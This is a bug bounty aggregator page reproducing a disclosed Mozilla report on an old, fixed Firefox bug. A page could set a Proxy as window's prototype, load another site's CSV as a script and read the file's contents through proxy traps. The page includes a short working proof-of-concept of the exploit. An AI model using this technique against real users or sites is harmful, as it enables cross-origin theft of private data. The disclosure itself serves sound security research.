Skip to content
Info disclosure Disclosed report Advanced

Cross-origin info leak: [[get]] calls on global expose text (or CSV) sniffed as JS

Firefox allowed a cross-origin information leak because a page could set a Proxy as the prototype of window, causing the browser to treat a text or CSV file loaded as a script as JavaScript and expose its contents through proxy traps. An attacker could steal data from a victim's CSV or text file if the victim visited the attacker's page.

Curtis Koenig Follow

Originally disclosed on Mozilla

  • Fixed in 2.7 years
  • Paid in 7 months
  • Disclosed after 2.7 years

Subject: Vulnerability Report: Cross-origin information leak via ECMAScript harmony proxies From: "websec02.g02" <[address removed]> To: [address removed] -----//----- Hello Mozilla security team,

I'd like to submit a vulnerability report. If you have any questions, please email me.

regards,


TYPES OF ISSUE:

Cross-origin information leak via ECMAScript harmony proxies

PRODUCT & VERSION:

Firefox 31.0 (Windows 7)

DESCRIPTION:

Let's suppose victim's web page serves CSV (or some text-like data).

<!-- ************** http://victim/test.csv ************** --> <?php header('Content-Type: text/csv; charset=UTF-8'); header("Content-Disposition: attachment; filename=\"test.csv\""); ?>

foo,bar,123

Attacker's page steal this CSV by utilizing harmony proxy.

<!-- ************** http://attacker/ ************** --> <body> <script> var handler = { has: function(target, name) {console.log("data=" + name); return true}, get: function(target, name) {return 1} }; var p = new Proxy({}, handler); window.__proto__ = p; </script> <script src="http://victim/test.csv"></script> </body>

Attacker's page prints "data=foo" and "data=bar" in the console. This means the harmony proxy can be used for cross-origin info theft in certain situations like this one.

CREDIT: Takeshi Terada of Mitsui Bussan Secure Directions, Inc.

The original report as published on Mozilla's Bugzilla, by Curtis Koenig. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, Firefox did not prevent a Proxy from being set as the prototype of the global window object, so when a cross-origin text or CSV file was loaded as a script, the browser's script parsing triggered proxy traps that exposed the file's contents.

What the attacker needed

Victim visits attacker's page; victim hosts CSV or text file

How it was found

  1. The victim hosts a CSV or text file.
  2. The attacker creates a page that sets a Proxy as the prototype of window.
  3. The attacker's page loads the victim's file as a script.
  4. The proxy traps log the file's contents.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website can load a file from another site as a script, but normally the browser blocks reading the file's contents. Here, the attacker used a JavaScript Proxy to intercept property lookups on the global window object, so when the browser tried to run the CSV as JavaScript, the proxy revealed the file's text. This let the attacker read data from another site.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by Curtis Koenig

View all

9 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.